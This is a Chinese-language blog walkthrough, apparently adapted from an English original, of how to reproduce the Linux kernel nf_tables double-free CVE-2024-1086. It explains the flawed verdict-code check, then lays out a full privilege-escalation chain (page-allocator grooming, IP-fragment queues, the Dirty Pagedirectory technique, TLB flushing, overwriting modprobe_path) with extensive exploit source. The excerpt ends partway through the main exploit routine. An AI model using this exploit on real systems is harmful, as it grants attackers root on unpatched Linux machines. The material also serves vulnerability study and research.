内核nf_tables漏洞--CVE-2024-1086 复现
在`nf_tables`架构中,内核允许用户自定义设置过滤规则,用户可以通过设定规则来决定数据包的处理方式(这个处理方式由`verdicts code`决定),而规则是由一系列表达式组成的,中有一种表达式叫 `nft_immediate`(立即数表达式)。它的作用是:“如果匹配成功,就将某个值设置到`NFT_REG_VERGICT`中(一个用来存放verdict的值的寄存器)”。每条 rule 执
本篇文章属于对exp原文的翻译和修改,原文写的特别好,非常值得一读,但是原文是英文的而且个人翻遍了全网也没见到有几个人讲这篇文章
于是本人借助ai将这篇文章生啃了下来,以下属于我对原文个人汉化版,进行了一些删改
原文地址:https://pwning.tech/nftables/
首先漏洞出在 linux 内核中的nf_tables模块,我们先来了解一下nf_tables
nf_tables基本实现
nf_tables 是⾪属与Netfilter子系统的⼀个模块,顾名思义就是⼀个个的tables,这些tables存储了各种各样规则(rules),以提供⽹络数据包的过滤功能,通常被⽤于实现防火墙等功能。nf_tables 允许⽤⼾向其注册处理⽹络数据包的 rule,以决定针对不同类型的数据包该采取哪种⾏动。多条 rule 被组织在⼀条 chain中,多条 chain 则被组织在⼀个 table 中(通过双向链表连接)。不同类型的 chain 会与不同的 Netfilter hook 绑定在⼀起,当⽹络数据包到达后,经过内核不同的 hook 时,所有绑定在该 hook 处的chain 都会被执⾏,以完成对数据包的处理。
expression
rule 在层次结构上可以细分为多个 expression,expression 相当于⼀条条应⽤在数据包上的具体指令。
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};例如对于
udp dport 50001 drop 这个规则,需要先通过⼀个expression 检查协议是不是 udp,再通过⼀个 expression 检查端⼝是不是 50001,如果前⾯的 expression 都通过了,最后再通过⼀个 expression 将 verdict 设置为规则中指定的 drop,以将数据包丢弃。每种 expression 会和⼀个 struct nft_expr_ops 实例绑定,⽐如 immediate 这个 expression:
static const struct nft_expr_ops nft_imm_ops = {
.type = &nft_imm_type, // expression 类型
.size = NFT_EXPR_SIZE(sizeof(struct nft_immediate_expr)),
.eval = nft_immediate_eval, // 当 expression 被执⾏时调⽤
.init = nft_immediate_init, // 当 expression 被初始化时调⽤
.activate = nft_immediate_activate,
.deactivate = nft_immediate_deactivate,
.destroy = nft_immediate_destroy,
.dump = nft_immediate_dump,
.validate = nft_immediate_validate,
.reduce = nft_immediate_reduce,
.offload = nft_immediate_offload,
.offload_action = nft_immediate_offload_action,
};这个 struct nft_expr_ops是⼀个函数跳转表,当进⾏特定的检查时,需要通过这个跳转表跳转到对应的函数进⾏处理
rule
rule 包含如何处理数据包的逻辑,⽐如检查数据包的协议、源地址、⽬标地址、端⼝等,以分别采取不同的⾏动。每条 rule 都和⼀个 verdict 绑定,即每条 rule 都有⼀个默认的裁定,决定对数据包采取何种⾏为,是丢弃、拒绝还是接受。举个例⼦:
udp dport 50001 dropdrop 就是该 rule 的 verdict,表⽰所有⽬标端⼝为 50001 的 udp数据包都会被丢弃。
struct nft_rule {
struct list_head list;
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};table
table 是 nf_tables 最顶层的结构,它包含多条 chain。chain 只能跳转到同⼀table 中的其他 chain。每个 table 都会从属于某个族,族决定了该 table 会处理哪些种类的数据包。族包括 ip、 ip6、 inet、 arp、 bridge 和 netdev。属于 ip 族的 table 只负责处理 IPv4 数据包,属于 ip6 族的 table 只负责处理 IPv6 数据包,属于 inet 族的 table 则既可处理 IPv4 ⼜可处理 IPv6 数据包。
struct nft_table {
struct list_head list;
struct rhltable chains_ht;
struct list_head chains;
struct list_head sets;
struct list_head objects;
struct list_head flowtables;
u64 hgenerator;
u64 handle;
u32 use;
u16 family:6,
flags:8,
genmask:2;
u32 nlpid;
char *name;
u16 udlen;
u8 *udata;
};verdicts
netfilter在对数据包进⾏处理后会设置数据包的verdicts(判定值)来决定最终的处理,以下是各种判定值
NF_DROP: 丢弃数据包,停⽌处理。NF_ACCEPT:接受数据包,继续后续处理流。NF_STOLEN:停⽌处理,该数据包的所有权移交给钩⼦(Hook)函数负责释放NF_QUEUE: 将数据包发送到⽤⼾态(Userland)应⽤程序进⾏处理。NF_REPEAT: 重新调⽤当前钩⼦(再次处理该包)。NF_STOP (deprecated): 接受数据包,但在 Netfilter 框架内停⽌进⼀步处理。
用户态交互流程
struct mnl_nlmsg_batch *batch =
mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
// 在批处理中新建请求
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq++
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
// 发送请求给内核处理
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);漏洞成因
在nf_tables架构中,内核允许用户自定义设置过滤规则,用户可以通过设定规则来决定数据包的处理方式(这个处理方式由verdicts code决定),而规则是由一系列表达式组成的,中有一种表达式叫 nft_immediate(立即数表达式)。它的作用是:“如果匹配成功,就将某个值设置到NFT_REG_VERGICT中(一个用来存放verdict的值的寄存器)”。每条 rule 执行完后都会设置好 NFT_REG_VERGICT。问题就出在这个verdict(判决码)中,verdict是一个32的无符号整数
struct nft_verdict {
u32 code;
struct nft_chain *chain;
};内核中默认的判决码有五种,存放在低16字节
- NF_DROP (0): 默默丢弃数据包,不再进行任何处理。
- NF_ACCEPT (1): 接受该数据包,允许其继续在内核协议栈中传输。
- NF_STOLEN (2): 数据包不继续传输,由钩子方法接管处理,内核协议栈不再处理该数据包。
- NF_QUEUE (3): 将数据包加入队列,供用户空间(User Space)的应用程序进行处理。
- NF_REPEAT (4): 再次调用当前钩子函数,对数据包重新进行规则匹配
但是在实际应用中我们可能需要区分不同的错误类型,因此内核给予了用户自定义错误码的权限,verdict的高16字节被用来存储用户自定义的错误码,假设我们想自定义错误码为0xf,那么我们在规则中应当设置verdict为0x000f0000(0x00010000 | NF_DROP)当内核在识别到数据包需要丢弃时会顺便检查该规则是否有用户自定义的错误码,如果有就会返回用户自定义的错误码。
cve-2024-1086的漏洞在于输入验证不严格,当用户传入0xffff0000的判定码时,nf_hook_slow对情况产生了误判,在对丢弃数据包后继续解析数据包,并最终导致double free
流程
首先设置rule并将判定码设置为0xffff0000
// 解析用户态传入的 Netlink 属性中的判定码
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
struct nft_data_desc *desc, const struct nlattr *nla)
{
u8 genmask = nft_genmask_next(ctx->net);
struct nlattr *tb[NFTA_VERDICT_MAX + 1];
struct nft_chain *chain;
int err;
// 省略
// 恶意用户提交的规则: data->verdict.code = 0xffff0000
switch (data->verdict.code) {
default:
// data->verdict.code & NF_VERDICT_MASK == 0xffff0000 & 0x000000ff == 0x0 (NF_DROP)
switch (data->verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
break; // 正常流程,通过检查
default:
return -EINVAL;
}
fallthrough;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
break; // 正常流程,通过检查
case NFT_JUMP:
case NFT_GOTO:
// [[省略] 处理跳转逻辑
break;
}
// 成功将判定码设置为 0xffff0000
desc->len = sizeof(data->verdict);
return 0;
}设置完成后,我们发送符合标识点并且符合rule设置的丢弃规则的数据包,触发内核中的hook,进入以下调用流程 nf_hook -> nf_hook_slow
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
for (; s < e->num_hook_entries; s++) {
// // verdict被设置为 0xffff0000
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
// 0xffff0000 & NF_VERDICT_MASK == 0xffff0000 & 0x000000ff == 0x0 (NF_DROP)
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
// 第一次free掉数据包
kfree_skb(skb);
// NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
// 返回 NF_ACCEPT == 1(继续数据包的处理)
return ret;
case NF_QUEUE:
ret = nf_queue(skb, state, s, verdict);
if (ret == 1)
continue;
return ret;
default:
/* Implicit handling for NF_STOLEN, as well as any other
* non conventional verdicts.
*/
return 0;
}
}
return 1;
}这里NF_DROP_GETERR是一个函数, NF_DROP_GETERR(0xffff0000)刚好会等于0x1(NF_ACCEPT),导致内核在free掉数据包之后,会继续处理数据包,并在处理完成之后再一次free掉,造成double free
static inline int NF_DROP_GETERR(int verdict)
{
return -(verdict >> NF_VERDICT_QBITS);
}exp复现与调试
该cve的exp非常精彩,该exp利用了脏页目录技术在不同版本内核下都可以打通,下面是对其exp的讲解
利用技术
操纵⻚⾯引⽤计数
当我们尝试利⽤漏洞在内核中去double free⼀个⻚⾯时,内核会检查该⻚⾯的引⽤计数(refcount)
void __free_pages(struct page *page, unsigned int order)
{
/* 在丢弃引⽤之前获取 PageHead */
int head = PageHead(page);
if (put_page_testzero(page))
free_the_page(page, order);
else if (!head)
while (order-- > 0)
free_the_page(page + (1 << order), order);
};通常情况下,我们在第⼀次释放⻚⾯之前,引⽤计数为1(除⾮它是共享的,此时计数会更⾼)。每⼀次free page都会使page的引⽤计数递减,只有在引⽤计数为0时内核才会真正free掉这个page,因此我们在第⼆次free 时内核会因为引⽤计数为-1⽽拒绝free page,不过此时内核不会报错,只有在开启 CONFIG_DEBUG_VM 时才会报错,因此我们要利⽤堆占位的⼿法,在第⼀次free之后,第⼆次free之
前,通过申请其他相同⼤⼩的对象再次分配到该⻚⾯。此时第⼆次free就会变成⼀次正常的free
跨越 page freelist 限制--从order 4 到 order 0
当通过 __do_kmalloc_node() 进行内存分配(例如分配 skb 对象)时,系统会检查所分配对象的大小是否超过了 KMALLOC_MAX_CACHE_SIZE(即 slab 分配器的最大缓存尺寸 0x2000)。如果对象大小超过该值,系统将转而使用页分配器(page allocator)而非 slab 分配器。
在dirty pagetables的利用中我们希望double free的sk_buff结构体,被分配到pte上。但是开发者为了节省开销,在pte的页的分配上是直接采用alloc_page()分配order 0的页,而不是kmalloc(0x1000)
- 如果我们的sk_buff大小为0x1000,那么在double free后的页面将进入slab 中,无法被pte申请到
- 如果我们的sk_buff大小大于
KMALLOC_MAX_CACHE_SIZE(即0x2000),double free的页面将进入分配中 order >= 1的空闲列表条目
因此我们需要一种方法将double free产生的 order 4(16 个页面)的空闲列表条目转换为 order 0(1 个页面)的条目
排空 PCP 列表
该方法利用了 PCP 分配器本质上是伙伴系统(Buddy Allocator)的一组每 CPU 空闲列表(Per-CPU freelists)这一特性。当其中一个 PCP 空闲列表变为空时,它会从伙伴系统中重新填充(Refill)页面。
负责填充的 rmqueue_bulk() 函数会从伙伴系统中分配 count 个阶数为 order 的页面。从伙伴系统分配页面时,它会遍历伙伴页面的空闲列表;如果空闲列表条目的阶数 = 请求的order,则返回该页面用于填充。如果条目的阶数 > 请求order,伙伴系统会在内部对该页面进行拆分
漏洞利用代码会对 order 4 的页面执行double free,因为我们需要double free的页面进入伙伴系统(而PCP最高可以处理order为3的page),并通过PCP列表的 refill,PCP 填充机制会接受任何尺寸合适的伙伴系统页面。因此,我们可以通过这种方式,在被double free的 order 4 页面空间内分配出 16 个 PTE 页面。
为了触发这一机制,exploit中利用的页喷射的方法来排空目标CPU的PCP。因此,exploit喷射 PTE 对象,使得某个 PTE 对象占据了原本属于双重释放的伙伴系统页面的位置。想分配 PMD 对象,就喷射 PMD 对象,以此类推
static int rmqueue_bulk(struct zone *zone, unsigned int order,
unsigned long count, struct list_head *list,
int migratetype, unsigned int alloc_flags)
{
unsigned long flags;
int i;
spin_lock_irqsave(&zone->lock, flags);
for (i = 0; i < count; ++i) {
struct page *page = __rmqueue(zone, order, migratetype, alloc_flags);
if (unlikely(page == NULL))
break;
list_add_tail(&page->pcp_list, list);
// [snip] set stats
}
// [snip] set stats
spin_unlock_irqrestore(&zone->lock, flags);
return i;
}利用 IP 分片绕过空闲链表损坏检测
由于CONFIG_FREELIST_HARDENED 的存在,传统的double free会触发slab 分配器的双重释放检查导致内核崩溃。并且由于在第一次free后sk_buff会被slab分配器进行标记,导致原有结构体数据遭到破坏,在后续按照常规流程走网络协议栈(如 TCP/UDP),内核会因为读取到损坏的字段而直接崩溃。
exploit中利用了IP分片队列机制,当发送一个IP数据包分片时,内核在接收到所有其他分片之前,都不会对已经收到的数据包分片进行处理,对于那些已经接收到的数据包分片,内核会将他们放入一个IP分片队列中进行维护,如果超过ipfrag_time 秒的超时时间,内核则会将全部数据包释放掉。IP 分片队列的最终大小是由 skb->len 决定的,由于与 Slab 缓存(slabcache)的 s->random 重叠,该值在释放后完全是随机的,这意味着实际上不可能稳定地完成 IP 分片队列,因为它会使用一个随机的预期长度。
因此exploit使用了不同的策略,不通过完成 IP 分片队列来触发,而是使用无效输入使其产生错误。这将导致 IP 分片队列中的所有 skb 在产生错误的 skb 所在的 CPU 上瞬间被释放,而不管 skb->len 是多少。这样既避免了数据包进入常规流程而崩溃,并且还能在内核维护数据包分片(注意此时已经被free过一次),等待接收全部数据包的时间段内,使用堆占位技术将被free的数据包用正常对象填充(这样在第二次free时就可以正常通过检测),接着发送无效数据包,内核就会再次free掉之前维护的所有数据包,完美完成double free。
我们可以通过创建自己命名空间来记住修改每个命名空间的ipfrag_time
static void set_ipfrag_time(unsigned int seconds)
{
int fd;
fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
if (fd < 0) {
perror("open$ipfrag_time");
exit(1);
}
dprintf(fd, "%u\n", seconds);
close(fd);
}脏页目录(dirty pagedirectory)
即使double free的原语,在漏洞的环境下我们很难找到一个对象来与PTE发生结构体重叠,并持续对pte进行写入,因为这个对象需要满足这样两个条件
条件 A: 这个对象必须和 PTE 页面在同一个空闲链表(Same Freelist)
条件 B: 这个对象必须允许被用户数据完全覆盖(Fully Overwritable)
不过这个两个条件可以通过**Cross-Cache Attack(跨缓存攻击)**来实现,但是这样会增加不稳定性,因此作者放弃了这种方法,提出了Dirty Pagedirtectory(脏页目录)的手法。
我们来重新审视一下当前的状况,我们有一个与 PTE 处于同一空闲链表中的double free原语。那么由于linux的多级页表机制,我们其实不仅拥有 与 PTE 处于同一空闲链表中的double free原语,我们拥有的是与 PTE PUD PMD 处于同一空闲链表中的double free原语(因为它们本质上都是pagetable,在分配方式上都是走pte_alloc_one() -> alloc_pages(GFP_KERNEL, 0)的流程)
有了这个原语,我们其实很容易的将一个 exploit 的 PTE 页面和一个 exploit 的 PMD 页面进行双重分配,换句话就是将PTE与PMD进行重叠这就是Dirty Pagedirtectory(脏页目录)
原理
利用像双重释放这样的漏洞,将一个页上级目录(PUD)和一个页中间目录(PMD)分配到同一个内核地址。VMA(虚拟内存区域)应该是分开的,以避免冲突(即不要在 PUD 的区域内分配 PMD)。然后,将一个地址写入 PMD 范围内的页面,并在 PUD 范围内的相应页面中读取该地址。
举个例子,我们假设modprobe_path 变量存储在 PFN/物理地址 0xCAFE1460 的一个页面中,并且我们通过double free使得空闲链表中存在两个相同的page。我们要应用dirty pagedirtectory技术:通过 mmap 为各自的用户空间 VMA 建立 0x8000000000 - 0x10000000000 (对应 mm->pgd[1]--PUD) 的映射和 0x40000000 - 0x80000000 (对应 mm->pgd[0][1]-- PMD) 的映射,那么此时内核就会为PUD和PMD申请page,使得PUD和PMD分配到同一个page
这就自动意味着 mm->pgd[1][x][y] 永远等于 mm->pgd[0][1][x][y],因为 mm->pgd[1] 和 mm->pgd[0][1] 指向的是我们的是同一个page,mm->pgd[0][1][x][y] 是一个用户空间页面(数据),而 mm->pgd[1][x][y] 是一个 PTE(页表项) 。这意味着专用的 PUD 区域会将来自 PMD 区域的用户空间页面解释为一个 PTE
现在,为了读取物理页面地址 0xCAFE1460,我们将 PTE 中的值设置为 0x80000000CAFE1867(添加了 PTE 标志位),方法是将该值写入 0x40000000(即位于 mm->pgd[0][1][0][0]+0x0 的页面的用户空间地址)。由于 mm->pgd[1] == mm->pgd[0][1],这意味着我们将该值写入了位于 mm->pgd[1][0][0]+0x0 的页面的 PTE 地址。现在,我们可以通过读取页面 mm->pgd[1][0][0][0] 来解引用那个恶意的 PTE 值(最后一个索引是 0,因为我们将它写在了 PTE 的前 8 个字节:注意上面的 0x0)。这相当于用户空间页面 0x8000000000
由于 PTE 现在从用户空间被改变了,我们需要刷新 TLB,因为 TLB 会包含过期的记录。一旦完成这一步,printf('%s', 0x8000000460); 应该会打印出 /sbin/modprobe 或者任何 modprobe_path 的值。自然地,我们现在可以通过执行 strcpy((char*)0x8000000460, "/tmp/privesc.sh"); 来覆盖 modprobe_path(这里有 KMOD_PATH_LEN 字节的填充空间)并获取一个 root shell。这不需要刷新 TLB,因为在写入该地址时,PTE 本身并没有改变。
注意我们是在 PTE 值 0x80000000CAFE1867 中的低24位设置读/写标志的。虚拟地址 0x8000000460 中的 0x8 和 PTE 值 0x80000000CAFE1867 中的 0x8 彼此没有任何关系:在 PTE 值中,它只是被开启的一个标志位,而虚拟地址只是恰好以 0x8 开头。
dirty pagedirectory影响:我们可以用户态就实现任意全内存空间中任意地址的读写,因为我们可以自由的设置物理页地址以及其读写位
针对脏页目录(Dirty PD)的页表喷射
exploit中使用的是PMD+PTE,这与利用程序需要耗尽 PCP 列表,以便在被double-free的地址上分配一个 PTE 这一事实有关。首先,页表是由内核按需分配的,所以如果我们仅仅 ***mmap*** 了一个虚拟内存区域(VMA),分配并不会发生。只有当我们实际读/写这个 VMA 时,内核才会为被访问的页面分配所需的页表。当分配一个 PUD 时,其下级的 PMD、PTE 以及用户空间页面也会随之被分配。同理,当分配一个 PTE 时,目标用户空间页面(即写入的物理页)也会被分配。
如果我们想要喷射PUD,PMD和PTE也会被分配,而且是从同一个空闲链表中分配。这意味着我们喷射的成功率为33%,以此类推,喷射PMD的成功率为50%,PTE为100%。所以为了降低噪音,提高堆喷成功率,exploit中使用了PMD+PTE的方法。
请注意,用户空间页面本身是从不同的空闲列表(migratetype 1,而不是 migratetype 0)中分配的,因此用户空间页面的分配不会影响我们的页表的喷射
TLB刷新
TLB 刷新 (TLB flushing) 是指移除或无效化转换后备缓冲区(TLB,即虚拟地址到物理地址的缓存)中所有条目的做法。为了使用“Dirty Pagedirectory技术可靠地扫描被我们污染的地址,我们需要设计一种满足以下要求的 TLB 刷新技术
- 不修改现有的进程页表(即不破坏父进程的内存映射)。
- 必须 100% 有效。
- 必须快速。
- 可以从用户空间触发(不需要额外的系统调用或内核辅助)。
- 必须在不管 PCID(进程上下文标识符)如何的情况下都能工作。
基于这些要求,作者使用了一下方法:在分配 PMD 和 PTE 内存区域时,你应该将它们标记为共享(MAP_SHARED),然后 fork() 进程,让子进程 munmap() 这块内存以触发刷新,并让子进程进入睡眠状态(以避免在底层利用不稳定时导致崩溃)。结果即为以下函数:
static void flush_tlb(void *addr, size_t len)
{
short *status;
status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*status = FLUSH_STAT_INPROGRESS;
if (fork() == 0)
{
munmap(addr, len);
*status = FLUSH_STAT_DONE;
PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
sleep(9999);
}
SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
munmap(status, sizeof(short));
}这种 TLB 刷新方法在刷新页表和页目录方面已被证实 100% 有效。它已在近期的 AMD CPU 和 QEMU 虚拟机中通过测试。它应该是硬件无关的,因为在这种用例中,刷新操作必须由内核来触发。
获取物理内核基地址 (Getting the physical kernel base address)
通常,这意味着我们需要暴力扫描(bruteforce)整个物理内存范围来找到物理目标地址。
然而,Linux 内核的一个特性是,如果 CONFIG_RELOCATABLE=y(通常是为了支持KASLR),物理内核基地址必须对齐到 CONFIG_PHYSICAL_START(即 0x100000,也就是 16MiB)。如果 CONFIG_RELOCATABLE=n,物理内核基地址将正好位于 CONFIG_PHYSICAL_START。对于此技术,我们假设 CONFIG_RELOCATABLE=y,因为如果我们已经确切知道了地址,再去爆破物理 KASLR 就没有意义了。
如果设置了 CONFIG_PHYSICAL_ALIGN,则使用该值进行对齐,而不是 CONFIG_PHYSICAL_START。注意 CONFIG_PHYSICAL_ALIGN 通常较小,比如 0x200000 即 2MiB,这意味着需要爆破更多的地址(比 0x1000000 对齐多 8 倍)。
假设目标设备有 8GiB 物理内存,这意味着我们可以将搜索范围缩小到 8GiB / 16MiB = 512 个可能的物理内核基地址,因为我们知道基地址必须对齐到 CONFIG_PHYSICAL_START 字节。优点是我们只需要检查这 512 个地址的第一页的前几个字节,就能判断该页是否为内核基地址。
我们本质上可以通过爆破几百个物理地址来找出物理内核基地址。幸运的是,Dirty Pagedirectory 允许对整个页面进行无限读写,因此允许我们每个物理(页)地址读取 4096 字节,更幸运的是,每次 PTE 覆盖可以检查 512 个页面地址(注:因为一个 PMD 映射 512 个 PTE,修改一次 PMD 指向,就能通过不同的 PTE 索引访问 512 个不同的物理页)。如果我们的机器有 8GiB 内存,这要求我们只需覆盖一次 PTE 就能找出物理内核基地址。
为了正确识别这 512 个物理地址中哪一个包含内核基地址,作者编写了 get-sig一个的基于 memcmp 的 if 语句,该语句会识别内核基地址的特征,从而锁定内核基地址。
获取物理目标地址 (Getting the physical target address)
当我们找到物理基地址后,我们可以找到我们读/写操作的最终目标地址——如果它位于内核区域内的话——方法是使用基于物理内核基地址的硬编码偏移量,或者通过扫描约 80MiB 的物理内核内存区域来查找目标的数据特征(data patterns)。
在具有 8GiB 内存的系统上,数据扫描技术需要 1 + 80MiB/2MiB ~= 40 次 PTE 覆盖。如果我们能够使用 Dirty Pagedirectory 且目标数据的格式是唯一的(比如 modprobe_path 的缓冲区),数据特征扫描方法会更好,因为它在不同内核版本间具有更广泛的兼容性,特别是当我们编译 exploit 时不知道偏移量的情况下
利用流程
前期环境配置
int main()
{
int *exploit_status;
exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*exploit_status = EXPLOIT_STAT_RUNNING;
// 分离程序,使其在成功或失败时在后台睡眠
// - 防止内核在尝试释放(已损坏的页表)资源时导致系统崩溃
if (fork() == 0)
{
int shell_stdin_fd;
int shell_stdout_fd;
signal(SIGINT, signal_handler_sleep);
// 复制标准输入输出的文件描述符。
// 即使后续我们将 stdout 重定向到了日志文件,这些复制的 FD 依然可以直接打印给用户。
shell_stdin_fd = dup(STDIN_FILENO);
shell_stdout_fd = dup(STDOUT_FILENO);
#if CONFIG_REDIRECT_LOG
setup_log("exp.log");
#endif
//首先创建利用环境
setup_env();
privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);
*exploit_status = EXPLOIT_STAT_FINISHED;
// 防止因无效页表导致的崩溃
sleep(9999);
}
// 防止父进程过早退出。
// 自旋锁:父进程在这里死循环等待,直到子进程把状态改为 EXPLOIT_STAT_FINISHED。
// 一旦子进程攻击完成(无论成功拿到 root 还是失败),父进程就可以退出了,把终端还给用户。
SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);
return 0;
}通过 fork,让子进程去执行提权操作,利用完后让进程“睡眠”而不是退出。只要进程不退出,内核就不会去回收那些损坏的资源,就能防止系统崩溃。接着在子进程中设置环境,执行提权代码
void setup_env()
{
uid_t uid = getuid();
gid_t gid = getgid();
// do_unshare用于创建所需的用户和网络命名空间
do_unshare();
// 通过设置UID/GID映射来获取命名空间根的访问权限
confgure_uid_map(uid, gid);
// 配置命名空间内的网络接口
configure_net_interfaces();
// 配置nftables
configure_nftables();
}接着在configure_nftables中配置nftables
void configure_nftables() {
struct mnl_socket *nl_sock;
struct nlmsghdr *nlh;
struct mnl_nlmsg_batch *batch;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t seq = time(NULL);
int ret, batching;
struct nftnl_table *t1;
struct nftnl_chain *c1;
struct nftnl_rule *r1;
printf("[*] setting up nftables...\n");
PRINTF_VERBOSE("[*] allocating netfilter objects...\n");
t1 = alloc_table(NFPROTO_IPV4, "filter");
c1 = alloc_chain(NFPROTO_IPV4, "filter", "df", NF_INET_PRE_ROUTING);
r1 = alloc_rule(NFPROTO_IPV4, "filter", "df", 70);
nl_sock = mnl_socket_open(NETLINK_NETFILTER);
if (nl_sock == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
if (mnl_socket_bind(nl_sock, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
batching = nftnl_batch_is_supported();
if (batching < 0) {
printf("[!] can't comm with nfnetlink");
exit(EXIT_FAILURE);
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
if (batching) {
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
}
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE,
nftnl_table_get_u32(t1, NFTNL_TABLE_FAMILY), // Set the family here
NLM_F_APPEND|NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_table_nlmsg_build_payload(nlh, t1);
nftnl_table_free(t1);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN,
nftnl_chain_get_u32(c1, NFTNL_CHAIN_FAMILY),
NLM_F_APPEND|NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_chain_nlmsg_build_payload(nlh, c1);
nftnl_chain_free(c1);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
nftnl_rule_get_u32(r1, NFTNL_RULE_FAMILY),
NLM_F_APPEND|NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_rule_nlmsg_build_payload(nlh, r1);
nftnl_rule_free(r1);
mnl_nlmsg_batch_next(batch);
if (batching) {
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
}
PRINTF_VERBOSE("[*] sending nftables tables/chains/rules/expr using netlink...\n");
ret = mnl_socket_sendto(nl_sock, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if (ret < 0) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl_sock, buf, sizeof(buf));
if (ret < 0) {
perror("mnl_socket_recvfrom");
exit(EXIT_FAILURE);
}
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl_sock), NULL, NULL);
if (ret < 0) {
perror("mnl_cb_run");
exit(EXIT_FAILURE);
}
mnl_socket_close(nl_sock);
#if CONFIG_VERBOSE_
// nft binary is not in PATH by default
system("/sbin/nft -a list table ip filter");
#endif
}该函数首先分配了table,chain,rule用于准备netfilter对象,并调用了mnl_socket_xxx等一系列函数用于建立socket与netfilter的通信。接着使用mnl_nlmsg_batch_start和nftnl_table_nlmsg_build_hdr构造批处理消息和指令载荷。nftables 的配置通常是原子性的,即要么全部成功,要么全部失败。因此,代码使用Batch,将表、链、规则的创建指令打包在一起发送。最后将配置好载荷发送给内核建立过滤规则。
这里的重点是设置了verdict为0xffff0000是漏洞利用的关键。
static struct nftnl_rule *alloc_rule(unsigned char family, const char *table, const char *chain, unsigned char proto)
{
struct nftnl_rule *r = NULL;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("rule alloc");
exit(EXIT_FAILURE);
}
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
nftnl_rule_set(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set(r, NFTNL_RULE_CHAIN, chain);
// expect protocol to be `proto`
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, offsetof(struct iphdr, protocol), sizeof(unsigned char));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(unsigned char));
// expect 4 first bytes of packet to be \x41
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, sizeof(struct iphdr), 4);
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, "\x41\x41\x41\x41", 4);
// (NF_DROP | -((0xFFFF << 16) >> 16)) == 1, aka NF_ACCEPT (trigger double free)
// (NF_DROP | -((0xFFF0 << 16) >> 16)) == 16
add_set_verdict(r, (unsigned int)(0xFFFF0000));
return r;
}至此前期的环境配置完成,接下来正式进入漏洞利用
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
unsigned long long *pte_area;
void *_pmd_area;
void *pmd_kernel_area;
void *pmd_data_area;
struct ip df_ip_header = {
.ip_v = 4,
.ip_hl = 5,
.ip_tos = 0,
.ip_len = 0xDEAD,
.ip_id = 0xDEAD,
.ip_off = 0xDEAD,
.ip_ttl = 128,
.ip_p = 70,
.ip_src.s_addr = inet_addr("1.1.1.1"),
.ip_dst.s_addr = inet_addr("255.255.255.255"),
};
char modprobe_path[KMOD_PATH_LEN] = { '\x00' };
get_modprobe_path(modprobe_path, KMOD_PATH_LEN);
printf("[+] running normal privesc\n");
PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");
pin_cpu(0);
// 分配一个PUD,PMD和PTE
